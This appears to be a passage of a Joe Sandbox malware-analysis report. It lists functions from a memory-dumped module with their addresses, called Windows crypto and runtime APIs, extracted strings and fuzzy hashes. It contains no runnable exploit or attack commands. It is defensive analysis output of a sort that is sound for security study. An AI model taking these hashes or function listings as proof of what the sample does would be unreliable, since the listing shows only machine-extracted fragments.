Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

std::exception::exception.LIBCMT ref: 6CFB248C

Part of subcall function 6CFB9533: std::exception::_Copy_str.LIBCMT ref: 6CFB954E

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID:
API String ID: 757275642-0
Opcode ID: 84d0dc122fabb3dc264217e7e2c9242f4a154d5ca4aad352fb7cb3f9b11a04cc
Instruction ID: a6c33344c72703cd5b421518d5e01d04f3ee44e71c7c8972323898fb572f3377
Opcode Fuzzy Hash: 84d0dc122fabb3dc264217e7e2c9242f4a154d5ca4aad352fb7cb3f9b11a04cc
Instruction Fuzzy Hash: 2632A475A016068FDB04CFAAC994A9EB7B5FF89704B24411DE406BBB54EB31ED05CBA0

Function 6CFA5DD0 Relevance: 6.4, APIs: 4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84714551270ba242d43c364883b51670ad753d173904111bec0198967d1a58c6
Instruction ID: a229435be4de3eae232ef9ca338e5357a1adff8e6afc6de737132a5b2791b9d3
Opcode Fuzzy Hash: 84714551270ba242d43c364883b51670ad753d173904111bec0198967d1a58c6
Instruction Fuzzy Hash: 6D02AE70A283548FC784CF6AE4A063EBFF5EBCA211F41090EE5F697291C274A559CB25

Function 6CFA5EB9 Relevance: 6.3, APIs: 4, Instructions: 318COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6CFA62FC
_memmove.LIBCMT ref: 6CFA632B
_memmove.LIBCMT ref: 6CFA635A
_memmove.LIBCMT ref: 6CFA6389

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 85ec9fc6a264da79af0105b3685c193c4b14d73d31a4d8001e73b8d1d8d31ed6
Instruction ID: ea298e3859fb14f60ad92237beb0fcdc0386a94f0c1743fb81f33d51261bce95
Opcode Fuzzy Hash: 85ec9fc6a264da79af0105b3685c193c4b14d73d31a4d8001e73b8d1d8d31ed6
Instruction Fuzzy Hash: 3BE1A1709283558FC784CB69E8A023EBFF5EBC7211F41090EE5F597291D274A16DCB25

Function 062B0930 Relevance: 5.3, Strings: 4, Instructions: 336COMMON

Download Yara Rule

Strings

Gvq, xrefs: 062B0BBB
Gvq, xrefs: 062B0D19
HERE, xrefs: 062B09B6
LOOK, xrefs: 062B09B1

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID: HERE$LOOK$Gvq$Gvq
API String ID: 0-802966049
Opcode ID: 6439850c85b6c8a39ddf502a4c7eb0055da8e280ff3cf8f478746b4e2b019e38
Instruction ID: b15e00614d48095ffecf8808e490c2f5f6b13a807587d565017692952261c5fb
Opcode Fuzzy Hash: 6439850c85b6c8a39ddf502a4c7eb0055da8e280ff3cf8f478746b4e2b019e38
Instruction Fuzzy Hash: B7F1A074E502298FDBA4DF69C984BDEB7F1EB48310F1495E6D909A7351DB30AE808F90

Function 6CFADE00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57encryptionCOMMON

Download Yara Rule

APIs

CryptGenRandom.ADVAPI32(?,?,?,CA0C7769,00000000), ref: 6CFADE6F
__CxxThrowException@8.LIBCMT ref: 6CFADEB9

Part of subcall function 6CFADD20: CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000000,6CFCF0E6,000000FF,6CFADF67,00000000,?), ref: 6CFADDB4

Strings

CryptGenRandom, xrefs: 6CFADE7B

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Crypt$ContextException@8RandomReleaseThrow
String ID: CryptGenRandom
API String ID: 1047471967-3616286655
Opcode ID: a145d696a77945f66f0e4bee0aa96530590f409d42d53fe8d0856082b90ad67a
Instruction ID: 2d3ec0f02c66d2fbec1078a21c780d4bf2a7d586e5f0ab6b357a22e5e11e3ac2
Opcode Fuzzy Hash: a145d696a77945f66f0e4bee0aa96530590f409d42d53fe8d0856082b90ad67a
Instruction Fuzzy Hash: 102138716183449FC700DF64D444B9ABBF8FB89718F004A0EF8A593B80EB75E508CB92

Function 6CFA63B0 Relevance: 5.1, APIs: 3, Instructions: 648COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6CFA6437

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 34fabb043e00f375f3badacc0b5c3abdd5b820b6c5e0f4d8e229dd7b7687f47d
Instruction ID: a220d0aff7a9b1ba24d0d464665c637e31b21ce1648d0d38c95e13b9ca8b07b0
Opcode Fuzzy Hash: 34fabb043e00f375f3badacc0b5c3abdd5b820b6c5e0f4d8e229dd7b7687f47d
Instruction Fuzzy Hash: 8C5223706146698FC794CF2AC090666BBF2EFCA311754859EE4D6CB38AD334F552CBA0

Function 6CFAD9D0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,CA0C7769,75A8FC30,?,00000000), ref: 6CFADA1A

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

Strings

operation failed with error , xrefs: 6CFADA49
OS_Rng: , xrefs: 6CFADA35

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ErrorLastXinvalid_argumentstd::_
String ID: operation failed with error $OS_Rng:
API String ID: 406877150-700108173
Opcode ID: f9f63effc55594a0ed2bf3c9a34a3e651987a495d0abb086b4f26d46fb682baf
Instruction ID: 5d5f88f902247d2122ae3c33f5c2240b62f4a9b248cb05bfc12ccdfaaadf7e47
Opcode Fuzzy Hash: f9f63effc55594a0ed2bf3c9a34a3e651987a495d0abb086b4f26d46fb682baf
Instruction Fuzzy Hash: F5417FB19083809FD320CF65C841B9BFBE8BF99744F15891DE18987741DB75A508CBA3

Function 6CFB1CA0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6CFB1E1D

Part of subcall function 6CFB9533: std::exception::_Copy_str.LIBCMT ref: 6CFB954E

__CxxThrowException@8.LIBCMT ref: 6CFB1E32

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID:
API String ID: 757275642-0
Opcode ID: f5b31a4ce3dc84a5d91113184bec3c68f809fb3916693dda7ec1448f73f3cbb2
Instruction ID: 0b5418aac274cecf9cc8e3170fe0a99b67ba9c73e370706938c99e107778cea2
Opcode Fuzzy Hash: f5b31a4ce3dc84a5d91113184bec3c68f809fb3916693dda7ec1448f73f3cbb2
Instruction Fuzzy Hash: 66329375A016059FDB08CF9AC894AEEB7B6FF88744B14811DE516BBB50EB31ED04CB90

Function 6CFC0B89 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6717e4b90ee4316a40c3ba45cf292e7c86b4ef315a6c2096fdcf4db6e293072b
Instruction ID: a1eeeddc779e4466b2d751b0862232dcbbbbf3e99cfc8268a534d9c4e9c271e5
Opcode Fuzzy Hash: 6717e4b90ee4316a40c3ba45cf292e7c86b4ef315a6c2096fdcf4db6e293072b
Instruction Fuzzy Hash: 90321422F69F424DDB639534C83232672ADAFB73C8F25D727E829B5D95EB29D0834101

Function 6CFADEE0 Relevance: 1.6, APIs: 1, Instructions: 71encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF54760: __CxxThrowException@8.LIBCMT ref: 6CF547F9

CryptReleaseContext.ADVAPI32(?,00000000,00000000,?), ref: 6CFADF7B

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ContextCryptException@8ReleaseThrow
String ID:
API String ID: 3140249258-0
Opcode ID: 15f10426d28a8628268bac4645786c589d4e421e49cc6a83ba4ff7dca07efe97
Instruction ID: c9bbefc63b0f79e83e1abcf8759bfb203a2dc3d80cf7d455f1be27b138ddf9cd
Opcode Fuzzy Hash: 15f10426d28a8628268bac4645786c589d4e421e49cc6a83ba4ff7dca07efe97
Instruction Fuzzy Hash: 6E2180B6509344AFC740DF15D840B4BBBE8EB99768F040A1DF84583781D771E509CBA3

Function 6CFADD20 Relevance: 1.6, APIs: 1, Instructions: 66encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000000,6CFCF0E6,000000FF,6CFADF67,00000000,?), ref: 6CFADDB4

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: cbf260d7b276873accf3cbc0e53c380eee7b806da711b68c8556b2c335ad5b44
Instruction ID: 4cb9594936a70a99fe01573eb4c2f1b83b8d53ee8f76404be044707cc7aab9db
Opcode Fuzzy Hash: cbf260d7b276873accf3cbc0e53c380eee7b806da711b68c8556b2c335ad5b44
Instruction Fuzzy Hash: A81106B1B18340DBE750CF58D880B52B7F8E745748F140A29ED25C3B80EB75D805C791

Function 6CFD35E0 Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 6CFD35F5

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: be414d6a1d6fa7f7f65d65c315b3b5b602776d2f9e3637e88d62f4b9651f99d9
Instruction ID: e86cacf49624b8ceead149fe60c9589efe7b5313a857a64dfd1bf37f56d02fbf
Opcode Fuzzy Hash: be414d6a1d6fa7f7f65d65c315b3b5b602776d2f9e3637e88d62f4b9651f99d9
Instruction Fuzzy Hash: 8CD05EB1A2211297EE508B64E845B4636FC9B02254F1D0520F614D7284DF60E505CB64

Function 6CFAD7F0 Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 6CFAD803

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: d0dcd0c02a7e66ff148520f1075c9e1a92b73315d94528cf7b41c8253e7b69f3
Instruction ID: 161c50389910c1ad148ac4289fa7daf0d3baff6ec7cd17e31da683cd6ed379e6
Opcode Fuzzy Hash: d0dcd0c02a7e66ff148520f1075c9e1a92b73315d94528cf7b41c8253e7b69f3
Instruction Fuzzy Hash: 5ED05EB1B0521162D6249B649C05B87BBEC4F11B48F2A842DF959E2680D7B0E945C7D5

Function 6CFAD7D3 Relevance: 1.5, APIs: 1, Instructions: 7encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 6CFAD7E0

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 5eedcd9af6dcbd51c83984a05d3349c14dcd5983e10900fa7cfce8c31bf28c05
Instruction ID: f7dadf3e48856626e8844720eea87c99b9334ccd50acd0293ef243aaa7b17fcd
Opcode Fuzzy Hash: 5eedcd9af6dcbd51c83984a05d3349c14dcd5983e10900fa7cfce8c31bf28c05
Instruction Fuzzy Hash: D0B012F0F6230057FD2C27218E5CB2E38100B01305E100408791160C44475AE0005108

Function 6CFA5830 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

@, xrefs: 6CFA5A30

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0720cfd58a272c31e08b25f0022763a83fa954e2daaf6142534ce5c90addf955
Instruction ID: bbbdba846afcf26e319ee0cc8568e9c0b7c2549fdda895df66c39431117319cd
Opcode Fuzzy Hash: 0720cfd58a272c31e08b25f0022763a83fa954e2daaf6142534ce5c90addf955
Instruction Fuzzy Hash: 77918A72918B868BE705CF6CC882AAAF7A0FFD9354F149B1DFDD462600EB349545C781

Function 6CFCBFF1 Relevance: 1.4, Strings: 1, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

Strings

N@, xrefs: 6CFCC001

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: N@
API String ID: 0-1509896676
